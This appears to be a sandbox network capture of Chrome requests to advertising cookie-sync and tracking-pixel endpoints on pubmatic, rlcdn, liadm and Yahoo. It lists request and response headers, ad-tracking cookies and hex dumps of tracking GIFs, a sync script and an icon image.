KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; SPugT=1704929249; PugT=1704929248; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:30 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:29 GMT; path=/ Set-Cookie: PugT=1704929249; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:29 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.4	50553	35.169.211.189	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	482	OUT	GET /qmap?c=240&tp=PUBM&tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=0; _cc_id=618691626ce21064702c7cbd4f29296d
2024-01-10 23:27:30 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.2.228 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:30 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.4	50552	35.244.154.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	514	OUT	GET /396846.gif?served_by=evergreen&partner_uid=2b9b95ab-54c6-063d-2348-37d056d15d4c HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxrc=CN/P/KwGEgUI6AcQABIGCLjrARAA; rlas3=xTdv0zT89Ohz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=
2024-01-10 23:27:30 UTC	620	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Content-Type: image/gif P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=sWAnBhTvH89z2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; Path=/; Domain=rlcdn.com; Expires=Thu, 09 Jan 2025 23:27:30 GMT; Secure; SameSite=None Set-Cookie: pxrc=CN/P/KwGEgUI6AcQABIGCLjrARAA; Path=/; Domain=rlcdn.com; Expires=Sun, 10 Mar 2024 23:27:30 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.4	50554	100.25.25.103	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	421	OUT	GET /tag/?id=20909&user_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: bpi.rtactivate.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:30 UTC	140	IN	HTTP/1.1 200 OK Server: awselb/2.0 Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.4	50556	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	4028	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; SPugT=1704929249; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; PugT=1704929250
2024-01-10 23:27:30 UTC	663	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:30 GMT; path=/ Set-Cookie: PugT=1704929250; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.4	50557	184.73.108.145	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:31 UTC	700	OUT	GET /s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw HTTP/1.1 Host: i6.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b
2024-01-10 23:27:31 UTC	226	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-01-10 23:27:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.4	50558	184.73.108.145	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:31 UTC	464	OUT	GET /s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw HTTP/1.1 Host: i6.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b
2024-01-10 23:27:31 UTC	226	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-01-10 23:27:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.4	50561	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:33 UTC	811	OUT	GET /checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014,25082,25113,25307,25308,25309,25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:33 UTC	593	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 22298 Content-Type: text/html; charset=UTF-8 Set-Cookie: visitor-id=3479308530180279000V10; Expires=Mon, 08 Jul 2024 23:27:33 GMT; domain=.hb.yahoo.net; Path=/; sameSite=none; secure=true x-mnet-hl2: E P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Expires: Wed, 10 Jan 2024 23:27:33 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:33 GMT Connection: close
2024-01-10 23:27:33 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-01-10 23:27:33 UTC	16384	IN	Data Raw: 20 20 20 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 32 35 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 31 35 35 35 32 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 31 22 2c Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"1",
2024-01-10 23:27:33 UTC	5913	IN	Data Raw: 70 74 28 6c 2c 6e 2c 67 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 2e 73 65 74 49 6d 61 67 65 28 6c 29 7d 41 3d 74 2e 72 65 71 75 69 72 65 28 22 63 6f 6f 6b 69 65 69 6e 66 6f 73 74 6f 72 65 22 29 2c 65 2e 69 73 53 65 74 28 41 29 26 26 41 2e 6d 61 72 6b 52 65 71 75 65 73 74 53 65 6e 74 28 6e 29 7d 29 7d 63 61 74 63 68 28 63 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6d 2e 56 49 53 49 54 5f 49 44 7c 7c 28 65 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 6d 2e 56 49 53 49 54 5f 49 44 3d 28 65 2b 76 29 2e 73 6c 69 63 65 28 2d 33 32 29 29 2c 6d 2e 56 49 53 49 54 5f 49 44 7d 66 75 6e 63 74 69 6f 6e 20 64 28 72 29 7b 72 65 74 75 72 6e 20 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c Data Ascii: pt(l,n,g);break;default:r.setImage(l)}A=t.require("cookieinfostore"),e.isSet(A)&&A.markRequestSent(n)})}catch(c){}}function m(){var e;return m.VISIT_ID\|\|(e=(new Date).getTime(),m.VISIT_ID=(e+v).slice(-32)),m.VISIT_ID}function d(r){return r=e.replaceAll(r,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.4	50564	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:34 UTC	615	OUT	GET /cv/apiv2/09062018/manifest/yahoo_install_144.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:34 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: hzUfVP4Tm1dwJ/IB3tEbE8S2dGS7JJRIpwEc+gvG73zRd9ZQ6mvOjxK6p5w2rUaLhyNEEdjdyJc= x-amz-request-id: ARKJEPZY5B0RP8YZ Date: Thu, 04 Jan 2024 15:10:15 GMT Last-Modified: Sat, 21 Sep 2019 00:16:19 GMT ETag: "3a37f3d24fe68e35c1f239537fabac9d" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 5774 Referrer-Policy: no-referrer-when-downgrade Age: 548241 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 90 00 00 00 90 08 06 00 00 00 e7 46 e2 b8 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 16 45 49 44 41 54 78 01 ed 5d 7b 78 55 d5 95 df 21 09 24 40 02 49 88 bc c1 a0 3c 94 41 79 54 b4 40 e0 0b d6 4f d0 42 15 1f ad 22 b5 d6 af a2 8e fa cf 54 66 28 33 52 3b 02 d5 b6 f6 31 45 06 9c 71 74 04 1c db 82 cc 58 2c 14 0d e5 dd 62 41 28 82 f2 0a 42 e4 19 5e 21 09 21 81 90 f9 fd 4e ce b9 b9 e7 9c 7d ef 3d f7 de 73 ee 73 af ef 5b 39 af fd 58 7b ed df 59 7b ed b5 f7 3d c9 10 69 46 cd cd cd 59 68 72 3f f0 40 9d fb e3 58 08 ce 0b c0 b8 2d 6a 02 f0 59 dc df 0f de ab 73 45 46 46 c6 15 9c a7 0d 65 a4 72 4b 01 96 0e 68 5f 29 78 2c f8 46 f0 20 30 c1 93 0d f6 82 2e a3 d0 0a f0 e7 e0 3d e0 f5 e0 0d 00 55 1d 8e 29 Data Ascii: PNGIHDRFgAMAaEIDATx]{xU!$@I<AyT@OB"Tf(3R;1EqtX,bA(B^!!N}=ss[9X{Y{=iFYhr?@X-jYsEFFerKh_)x,F 0.=U)
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: d2 ee 26 97 38 06 c0 0a 1d b2 b6 3c 90 05 e2 a7 74 15 78 ac da 4a df 6b 62 81 98 b0 91 cd 02 c1 fa 10 54 47 c0 3d 6d a9 d5 8d 74 d6 00 f7 0a f5 81 15 a2 4f e4 23 99 05 1a 8f a7 0a 3c 3e 15 a9 13 5d 03 c4 04 b1 61 22 19 80 a6 99 52 a8 0b a5 81 56 0d d8 b0 61 1a c2 30 7c 75 40 da 93 60 1e 15 29 0d 58 35 50 87 1b 5d 31 8c f1 a8 91 d5 02 f1 8b f0 0a 3c ba 72 d4 c1 a6 01 62 83 18 f1 91 15 40 53 7d 4f d4 89 d2 80 5c 03 26 8c f8 86 30 0c 5f ed 90 fe 3c 38 47 9e 4f dd 55 1a d0 34 70 09 7f 3b 63 18 6b e0 95 bf 05 e2 7f fa 53 e0 a1 56 14 05 d3 00 31 42 ac 68 e4 0f a0 32 e3 a6 3a 2a 0d 84 d0 80 0f 2b fe 00 1a 1f 22 93 7a ac 34 60 68 c0 87 15 cd 07 d2 a7 ef dc ff 9a 6d a4 50 47 a5 81 20 1a b8 8c 67 05 9c ce 1b 16 88 3f 2a 53 e0 09 a2 31 f5 c8 a4 01 62 85 98 f1 2d 98 Data Ascii: &8<txJkbTG=mtO#<>]a"RVa0\|u@`)X5P]1<rb@S}O\&0_<8GOU4p;ckSV1Bh2:+"z4`hmPG g?S1b-
2024-01-10 23:27:34 UTC	1300	IN	Data Raw: 93 8f e5 d9 39 6d c4 a4 59 d7 88 e7 d7 94 88 67 96 f5 15 5f 09 60 f1 ac f5 07 ba 1e 36 39 5f 3c b9 b4 8f b8 6b 46 31 de 50 b9 9f 72 72 5f cb f0 bb ea a7 55 d2 62 3a 75 cb 16 0f fc b8 9b 78 6e c5 b5 e2 01 ac 2f e5 c3 17 94 91 91 9f d6 67 fb ff b6 ea c2 3f ed df dd 91 a7 4d 1e 9e fa 9f 3e a2 f4 b1 42 81 d5 6e ff c7 da f9 e9 2f 1a f1 72 99 f3 1f d8 7c 51 54 fe 8d ff c9 c9 4e 74 c2 3b 77 97 cb 64 4f 1d f6 9d 3c 96 ec 8a 0f 64 54 7d fb 33 45 e2 8d c7 cd 26 9b cf d6 23 b8 75 cb 03 2d 43 1c cf f9 36 59 89 6f 0a 4d 2d fd 03 2b b1 83 67 7c 54 a2 81 d4 78 36 e2 de 7c 6d 16 b7 f2 65 79 e7 1a e9 64 c7 9e 83 73 d0 e9 7d b5 47 b7 7e ab 93 b8 70 ea 8a d8 f8 a6 d9 e7 e1 c3 d3 87 1b 35 7f 6c ff 26 fb d0 d5 b9 7b b6 f8 d1 ce fe 22 af 4b cb f8 30 6c 72 9e 18 f3 58 81 78 e1 Data Ascii: 9mYg_`69_<kF1Prr_Ub:uxn/g?M>Bn/r\|QTNt;wdO<dT}3E&#u-C6YoM-+g\|Tx6\|meyds}G~p5l&{"K0lrXx
